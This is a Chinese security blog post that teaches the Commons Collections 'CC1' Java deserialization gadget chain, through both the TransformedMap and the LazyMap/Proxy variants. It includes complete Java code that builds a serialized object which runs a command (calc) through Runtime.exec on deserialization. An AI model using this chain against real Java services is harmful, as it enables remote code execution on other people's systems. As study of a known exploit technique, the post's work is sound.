M0deration's blog.

cc1

字数统计: 2.4k阅读时长: 11 min
2022/10/09 Share

0x00 准备

jdk下载地址

8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

Oracle账号分享[JDK下载使用]

方面调试通过openjdk下载源码

idea调试问题看这里

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.999.0.0&vd_source=64ffa81d78eab19793b4d29d5ed45672&t=509.3

idea快捷键

查看接口或抽象类的实现类ctrl+alt+b选择接口或者类

0x01 cc1

cc1主要是利用commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的

image-20220616093712135

transformer是个抽象类,首先看一下有哪些实现类

transformer实现类

image-20220616093830367

首先看cc1漏洞最重要的一个实现类

  1. InvokerTransformer

InvokerTransformer中的transform标准反射写法,可以实现任意方法调用

image-20220616094033350

利用方法

1
2
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
exec.transform(Runtime.getRuntime());
  1. ChainedTransformer

image-20220616094955296

构造方法传入Transformer数组然后transform实现链式调用

  1. ConstantTransformer

image-20220616095241796

ConstantTransformertransform就是返还构造函数传入的对象

准备工作完成下面来看利用链

TransformedMap利用

调用流程

这里借用Townmacro师傅的一张图

image-20211121153021722

所以首先找危险方法,这里在前面介绍实现类的时候InvokerTransformer中就有任意方法调用

1
2
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
exec.transform(Runtime.getRuntime());

然后再往前找,找找哪个调用了transform

LazyMap和TransformedMap都直接调用了transform,这里先用TransformedMap

这里注释了无用的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;

/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

........


protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}


........

/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

......
}

首先是checkSetValue方法调用了transform,但是TransformedMap的构造函数是保护类型protected但是提供了静态方法decorate可以获取对象

这里先用反射测一下

1
2
3
4
5
6
7
8
9
Object runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);

// 反射调用一下checkSetValue方法
Method checkSetValue = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(decorate,runtime);

但是实际肯定不能这么用,下面就是找在哪里调用了checkSetValue

这里MapEntry继承自AbstractMapEntryDecorator

image-20220616141826866

AbstractMapEntryDecorator又实现类Map.Entry

1
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue

Entry是一个静态内部类

map遍历时可以使用Entry

这里实际上就是重写了Entry里的setValue

1
2
3
4
5
6
7
8
9
Object runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, exec);

for(Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}

TransformedMap —–继承自—–>AbstractInputCheckedMapDecorator

MapEntry是抽象类AbstractInputCheckedMapDecorator的内部类

MapEntry—–继承自—–>AbstractMapEntryDecorator

AbstractMapEntryDecorator—–实现了—–>Map.Entry

现在我们就需要看看有没有readObject方法调用了setValue

image-20220616190116372

找到AnnotationInvocationHandler中的readObject调用了

image-20220616191157832

这里的memberValues是通过构造函数传进去的,可控

image-20220616191831146

由于AnnotationInvocationHandler类没写public只能在包内才能访问,所以这里用反射去获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Object runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, exec);
//
// for(Map.Entry entry:decorateMap.entrySet()){
// entry.setValue(runtime);
// }

//获取类
Class<?> AnnotationInvocationHandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//构造器
Constructor<?> declaredConstructor = AnnotationInvocationHandlerclass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//Override.class 这里的Override.class就是注解
declaredConstructor.newInstance(Override.class,decorateMap);

现在可以构造进去了,现在就是需要调用readObject,反序列化时默认调用readObject,但是我们使用命令执行的函数Runtime咩有实现Serializable所以不可以序列化反序列化,但是Class是可以序列化反序列化的,所以这里利用刚开始使用InvokerTransformer的反射去获取

1
2
3
4
5
6
7
8
9
10
11
12
13
//正常反射写法
Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(r,"calc");

//使用InvokerTransformer
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime robject = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getruntimeMethod);
//上面两步相当于获取类对象Runtime.getRuntime()
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}).transform(robject);

然后下面借用之前看到的ChainedTransformer类来实现链式调用

这里再看一眼ChainedTransformer#transform函数

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

可以实现一个递归调用

上面就可以改写为

1
2
3
4
5
6
7
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

接下来就是利用sun.reflect.annotation.AnnotationInvocationHandler中的readObject实现反序列化自动调用

完整代码

单独放一下序列化反序列化代码

1
2
3
4
5
6
7
8
9
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}

首先整理一下完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map1, null, chainedTransformer);
//把map1用TransformedMap修饰
Class<?> AnnotationInvocationHandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandlerclassConstructor = AnnotationInvocationHandlerclass.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerclassConstructor.setAccessible(true);
Object o = AnnotationInvocationHandlerclassConstructor.newInstance(Override.class, decorateMap);
serialize(o);
unserialize("ser.bin");

但是上面的代码并不会弹计算器,因为在AnnotationInvocation#readObject还有条件没绕过

image-20220617155356101

获取传进来注解中的成员方法
然后Map.Entry<String, Object> memberValue : memberValues.entrySet()获取到的是我们传进来的Map对象的键值对之后的name获取到的是传进来Map对象的key,然后在memberTypes中查找是否存在这个key因为我们传进来的注解Override本来就没有成员方法

image-20221009153032751

找到Target.class里面包含value,然后只需要把map键写入value

image-20221009153147527

lazyMap利用

完整的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

前面的链子和TransformedMap那个链子几乎是一样的,不同点在于这里通过lazyMap中get可以调transform函数

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里首先需要了解一下java动态代理

在运行期动态创建一个interface实例的方法如下:

  1. 定义一个InvocationHandler实例,它负责实现接口的方法调用;
  2. 通过Proxy.newProxyInstance()创建interface实例,它需要3个参数:
    1. 使用的ClassLoader,通常就是接口类的ClassLoader
    2. 需要实现的接口数组,至少需要传入一个接口进去;
    3. 用来处理接口方法调用的InvocationHandler实例。
  3. 将返回的Object强制转型为接口。

这里主要就是代理模式会调用invoke,然后AnnotationInvocationHandler的invoke中会调用get方法

image-20221009112846908

然后这边通过给map接口动态代理对象调用任何一个方法时会调用handler中的invoke方法。我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们LazyMap#get

image-20221009152325074

上图是AnnotationInvocationHandler的readObject函数,里面memberValues.entrySet()即会触发

下面是完整的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_lazy {
public static void main(String[] args) {
try {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform();
//
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = LazyMap.decorate(map, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, transformedMap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = declaredConstructor.newInstance(Override.class, proxymap);

serialize(o);
unserialize("ser_lazy.bin");


} catch (ClassNotFoundException | NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser_lazy.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
CATALOG
  1. 1. 0x00 准备
  2. 2. 0x01 cc1
    1. 2.1. transformer实现类
    2. 2.2. TransformedMap利用
      1. 2.2.1. 调用流程
      2. 2.2.2. 完整代码
    3. 2.3. lazyMap利用